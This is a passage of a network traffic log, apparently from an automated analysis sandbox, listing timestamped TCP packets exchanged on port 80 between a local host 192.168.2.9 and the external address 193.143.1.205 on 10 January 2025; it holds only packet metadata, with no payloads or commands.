Jan 10, 2025 22:13:33.387228012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387238026 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.387242079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387252092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.387259007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387269974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387286901 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.387325048 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.387505054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387516975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387531996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387542963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387554884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.387579918 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.423085928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.423115969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.423126936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.423139095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.423151016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.423165083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.423230886 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.458194971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458215952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458229065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458241940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458252907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458265066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458276987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458288908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458301067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458312035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458324909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.458331108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.458331108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.458379984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.468812943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.468856096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.468868017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.468880892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.468918085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.468967915 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.493810892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.493828058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.493843079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.493856907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.493897915 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.493897915 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.493947983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.493963957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.494004965 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.494122982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.494138002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.494149923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.494163990 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.494194984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.494194984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.503732920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.503770113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.503782988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.503797054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.503809929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.503823042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.503844976 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.503844976 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504043102 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504232883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504245996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504266977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504281044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504291058 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504295111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504311085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504329920 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504345894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504357100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504367113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504380941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504384041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504384041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504396915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504493952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504504919 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504507065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504519939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504532099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504533052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504558086 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504570007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504579067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504590988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504605055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504606009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504606009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504611969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504625082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504640102 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504643917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504656076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504669905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504698038 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504698992 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504712105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504724026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504735947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504748106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504760981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504821062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504821062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504821062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.504978895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.504991055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505004883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505023956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505037069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505038977 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505050898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505081892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505094051 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505094051 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505096912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505115032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505126953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505140066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505162001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505162001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505162954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505177021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505187988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505203009 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505219936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505220890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505219936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505235910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505249977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505263090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505273104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505281925 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505281925 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505289078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505306959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505320072 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505351067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505367994 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505371094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505384922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505398035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505409956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505420923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505433083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505433083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505436897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505465984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505530119 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505548000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505561113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505564928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505573034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505587101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505599976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505614042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505620003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505628109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505640984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505646944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505646944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505651951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505676031 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505703926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505716085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505728006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505742073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505753994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505765915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505779028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505790949 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505794048 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505794048 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505847931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505882025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505902052 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505916119 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505928993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505960941 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505960941 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.505973101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.505985022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.506000042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.506038904 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.506083965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.506095886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.506109953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.506122112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.506134033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.506150007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.506150007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.506170034 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.509706020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545284033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545416117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.545432091 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545445919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545484066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.545605898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545623064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545639992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545654058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545677900 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.545728922 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.545773029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545789003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545806885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545821905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545835018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545847893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545855045 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.545855045 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.545866966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545881033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.545922041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.545922041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.555694103 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.555707932 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.555721045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.555733919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.555747986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.555759907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.555764914 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.555773973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.555789948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.555819035 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.555861950 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.579829931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.579857111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.579869986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.579884052 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.579896927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.579910994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.579916000 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.579926014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.579978943 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.579978943 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.590501070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590527058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590547085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590559006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590568066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.590569973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590583086 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590596914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590610981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.590632915 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.590677023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.590873957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590930939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590939999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590950966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590964079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590967894 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.590976000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.590998888 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.591012001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591023922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591036081 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591046095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.591058016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.591073036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591084957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591097116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591134071 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.591134071 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.591139078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591151953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591164112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591175079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591187000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591208935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.591208935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.591216087 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591249943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591262102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591272116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.591286898 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.591331005 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.651988029 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.874170065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.874412060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.893443108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.898333073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.898350000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.898361921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.898536921 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.902154922 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907584906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907601118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907613993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907625914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907639027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907650948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907653093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907653093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907665014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907677889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907691002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907702923 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907718897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907728910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907738924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907751083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907763004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907774925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907782078 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907787085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907800913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907814026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907814980 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907825947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907838106 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907847881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907854080 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907869101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907881975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907892942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907906055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907917976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907921076 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907921076 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907938004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907953024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907965899 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907967091 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907967091 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.907978058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.907991886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908013105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908016920 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908035040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908047915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908061028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908071041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908071041 CET	49707	80	192.168.2.9	193.143.1.205
